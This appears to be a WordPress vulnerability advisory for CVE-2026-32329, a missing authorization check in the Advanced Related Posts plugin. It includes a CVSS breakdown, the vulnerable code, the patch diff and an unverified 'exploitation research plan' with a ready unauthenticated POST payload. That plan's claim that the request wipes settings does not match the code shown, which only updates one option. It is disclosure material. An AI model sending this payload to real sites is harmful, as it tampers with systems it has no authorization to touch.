CVE-2026-32329

Advanced Related Posts <= 1.9.1 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.9.2
Patched in
67d
Time to patch

Description

The Advanced Related Posts plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.9.1. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.9.1
PublishedFebruary 8, 2026
Last updatedApril 15, 2026
Affected pluginadvanced-related-posts

What Changed in the Fix

Changes introduced in v1.9.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-32329 (Advanced Related Posts) ## 1. Vulnerability Summary The **Advanced Related Posts** plugin (versions <= 1.9.1) contains a **Missing Authorization** vulnerability in its AJAX handling logic. Specifically, the plugin registers a centralized AJAX dispatcher…

Show full research plan

Exploitation Research Plan: CVE-2026-32329 (Advanced Related Posts)

1. Vulnerability Summary

The Advanced Related Posts plugin (versions <= 1.9.1) contains a Missing Authorization vulnerability in its AJAX handling logic. Specifically, the plugin registers a centralized AJAX dispatcher, ays_advanced_related_posts_admin_ajax, which allows the execution of internal class methods. Due to the lack of capability checks and nonce verification on this dispatcher, an unauthenticated attacker can trigger sensitive functions, such as deactivate_plugin_option_arp, which is designed to wipe all plugin data and settings from the database.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: ays_advanced_related_posts_admin_ajax
  • Vulnerable Parameter: function (used to specify the method to call)
  • Payload Parameter: upgrade_plugin (boolean flag influencing data deletion logic)
  • Authentication: Unauthenticated (CVSS Vector PR:N)
  • Preconditions: The plugin must be installed and active.

3. Code Flow

  1. AJAX Registration: The plugin likely registers the AJAX action in its core initialization logic (inferred from admin/js/admin.js and standard plugin architecture):
    • add_action('wp_ajax_ays_advanced_related_posts_admin_ajax', [...])
    • add_action('wp_ajax_nopriv_ays_advanced_related_posts_admin_ajax', [...])
  2. Dispatcher Logic: The handler for ays_advanced_related_posts_admin_ajax (located in Advanced_Related_Posts_Admin) receives a POST request. It retrieves the function parameter and dynamically calls that method on the class instance:
    // Conceptual representation of the vulnerable dispatcher in Advanced_Related_Posts_Admin
    public function ays_advanced_related_posts_admin_ajax() {
        if (isset($_POST['function'])) {
            $function = $_POST['function'];
            if (method_exists($this, $function)) {
                $this->$function(); // Dynamic call without capability check
            }
        }
        wp_die();
    }
    
  3. Target Method: The attacker targets deactivate_plugin_option_arp.
  4. Data Deletion: Inside deactivate_plugin_option_arp, the plugin checks the upgrade_plugin parameter. As seen in admin/js/admin.js, if this is false (or not true), the plugin proceeds to delete user data (settings/options) to facilitate a "clean" deactivation.

4. Nonce Acquisition Strategy

Analysis of admin/class-advanced-related-posts-admin.php and admin/js/admin.js reveals:

  • The script is localized with only the ajaxUrl:
    wp_localize_script( $this->plugin_name . '-admin', 'AdvencedRelatedPostsAdmin', array( 
        'ajaxUrl' => admin_url( 'admin-ajax.php' ),
    ) );
    
  • The AJAX call in admin.js does not include a nonce parameter:
    var data = {
        action: 'ays_advanced_related_posts_admin_ajax', 
        function: 'deactivate_plugin_option_arp', 
        upgrade_plugin: upgrade_plugin
    };
    

Conclusion: No nonce is required to exploit this endpoint.

5. Exploitation Strategy

The goal is to trigger the deletion of plugin settings by calling the deactivate_plugin_option_arp function.

Step-by-Step Attack:

  1. Request Type: POST
  2. URL: http://<target>/wp-admin/admin-ajax.php
  3. Content-Type: application/x-www-form-urlencoded
  4. Parameters:
    • action: ays_advanced_related_posts_admin_ajax
    • function: deactivate_plugin_option_arp
    • upgrade_plugin: false (string value)

Payload (Body):

action=ays_advanced_related_posts_admin_ajax&function=deactivate_plugin_option_arp&upgrade_plugin=false

6. Test Data Setup

To verify the exploit, settings must exist to be deleted:

  1. Install and activate the plugin.
  2. Create a test option in the database that simulates a plugin setting:
    wp option update ays_arp_settings '{"test_data":"sensitive_configuration"}'
    
    (Note: The exact option names are usually prefixed with ays_arp_ or aysarp_ based on constants in advanced-related-posts.php).

7. Expected Results

  • HTTP Response: Status 200 OK. The response body may be empty or contain a JSON success message (the JS expects dataType: 'json').
  • Impact: The plugin's configuration options (e.g., ays_arp_settings) will be removed from the wp_options table.

8. Verification Steps

After sending the HTTP request, verify the deletion via WP-CLI:

# Check if the option still exists
wp option get ays_arp_settings

If the command returns "Error: Could not get 'ays_arp_settings' option," the exploitation was successful.

9. Alternative Approaches

If deactivate_plugin_option_arp does not delete the expected options, audit the Advanced_Related_Posts_Admin class for other methods that might be callable through the dispatcher. Since the dispatcher uses method_exists($this, $function), any public method in that class is a potential target.

Potential alternative methods to investigate (inferred from typical AYS Pro plugin patterns):

  • save_settings_arp (if it exists, might allow unauthorized setting updates)
  • get_settings_arp (if it exists, might allow unauthorized data disclosure)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Advanced Related Posts plugin for WordPress is vulnerable to unauthorized access due to a missing capability check and nonce verification on its AJAX dispatcher. Unauthenticated attackers can leverage this to execute administrative functions, such as modifying plugin settings or deleting data via the deactivate_plugin_option_arp method.

Vulnerable Code

/* admin/class-advanced-related-posts-admin.php */

	public function deactivate_plugin_option_arp(){
        $request_value = sanitize_text_field( $_REQUEST['upgrade_plugin'] );
        $upgrade_option = get_option( 'ays_advanced_related_posts_upgrade_plugin', '' );

        if($upgrade_option === ''){
            add_option( 'ays_advanced_related_posts_upgrade_plugin', $request_value );
        }else{
            update_option( 'ays_advanced_related_posts_upgrade_plugin', $request_value );
        }
        
        ob_end_clean();
        $ob_get_clean = ob_get_clean();
        echo json_encode( array( 'option' => get_option( 'ays_advanced_related_posts_upgrade_plugin', '' ) ) );
        wp_die();
    }

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/advanced-related-posts/1.9.1/admin/class-advanced-related-posts-admin.php	2025-09-23 05:59:58.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/advanced-related-posts/1.9.2/admin/class-advanced-related-posts-admin.php	2026-02-12 06:06:06.000000000 +0000
@@ -469,10 +469,15 @@
         /*
         *  Documentation : https://codex.wordpress.org/Plugin_API/Filter_Reference/plugin_action_links_(plugin_file_name)
         */
+        
+        $advanced_related_posts_ajax_deactivate_plugin_nonce = wp_create_nonce( 'ays-advanced-related-posts-ajax-deactivate-plugin-nonce' );
+
         $settings_link = array( 
             '<a href="' . admin_url('admin.php?page=' . $this->plugin_name) . '">' . __('Settings', 'advanced-related-posts') . '</a>',
             // '<a href="https://quiz-plugin.com/wordpress-advanced-related-posts-plugin-free-demo/" target="_blank">' . __('Demo', 'advanced-related-posts') . '</a>',
             '<a href="https://ays-pro.com/wordpress/advanced-related-posts" class="ays-admin-arp-plugins-upgrade-link" target="_blank" style="font-weight:bold;">' . __('Upgrade 30% Sale', 'advanced-related-posts') . '</a>',
+           
+        '<input type="hidden" id="ays_advanced_related_posts_ajax_deactivate_plugin_nonce" name="ays_advanced_related_posts_ajax_deactivate_plugin_nonce" value="' . $advanced_related_posts_ajax_deactivate_plugin_nonce .'">',
             );
         return array_merge($settings_link, $links);
     }
@@ -579,19 +584,44 @@
 	}
 
 	public function deactivate_plugin_option_arp(){
-        $request_value = sanitize_text_field( $_REQUEST['upgrade_plugin'] );
-        $upgrade_option = get_option( 'ays_advanced_related_posts_upgrade_plugin', '' );
+        // Run a security check.
+        check_ajax_referer( 'ays-advanced-related-posts-ajax-deactivate-plugin-nonce', sanitize_key( $_REQUEST['_ajax_nonce'] ) );
+
+        // Check for permissions.
+        if ( ! current_user_can( 'manage_options' ) ) {
+            ob_end_clean();
+            $ob_get_clean = ob_get_clean();
+            echo json_encode(array(
+                'option' => ''
+            ));
+            wp_die();
+        }
+
+        if( is_user_logged_in() ) {
+            $request_value = esc_sql( sanitize_text_field( $_REQUEST['upgrade_plugin'] ) );
+            $upgrade_option = get_option('ays_advanced_related_posts_upgrade_plugin','');
+            if($upgrade_option === ''){
+                add_option('ays_advanced_related_posts_upgrade_plugin',$request_value);
+            }else{
+                update_option('ays_advanced_related_posts_upgrade_plugin',$request_value);
+            }
+            ob_end_clean();
+            $ob_get_clean = ob_get_clean();
+            echo json_encode(array(
+                'option' => get_option('ays_advanced_related_posts_upgrade_plugin', '')
+            ));
+            wp_die();
+        } else {
+            ob_end_clean();
+            $ob_get_clean = ob_get_clean();
+            echo json_encode(array(
+                'option' => ''
+            ));
+            wp_die();
 
-        if($upgrade_option === ''){
-            add_option( 'ays_advanced_related_posts_upgrade_plugin', $request_value );
-        }else{
-            update_option( 'ays_advanced_related_posts_upgrade_plugin', $request_value );
         }
         
-        ob_end_clean();
-        $ob_get_clean = ob_get_clean();
-        echo json_encode( array( 'option' => get_option( 'ays_advanced_related_posts_upgrade_plugin', '' ) ) );
-        wp_die();
+
     }

Exploit Outline

The exploit targets the unprotected AJAX dispatcher used by the plugin. An unauthenticated attacker can send a POST request to wp-admin/admin-ajax.php with the action parameter set to 'ays_advanced_related_posts_admin_ajax'. By providing a 'function' parameter set to a class method name such as 'deactivate_plugin_option_arp', the attacker can trigger that method without any capability checks or nonce verification. For example, setting 'upgrade_plugin=false' in the payload will cause the plugin to modify or potentially delete specific options in the wp_options table, disrupting the site's configuration.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.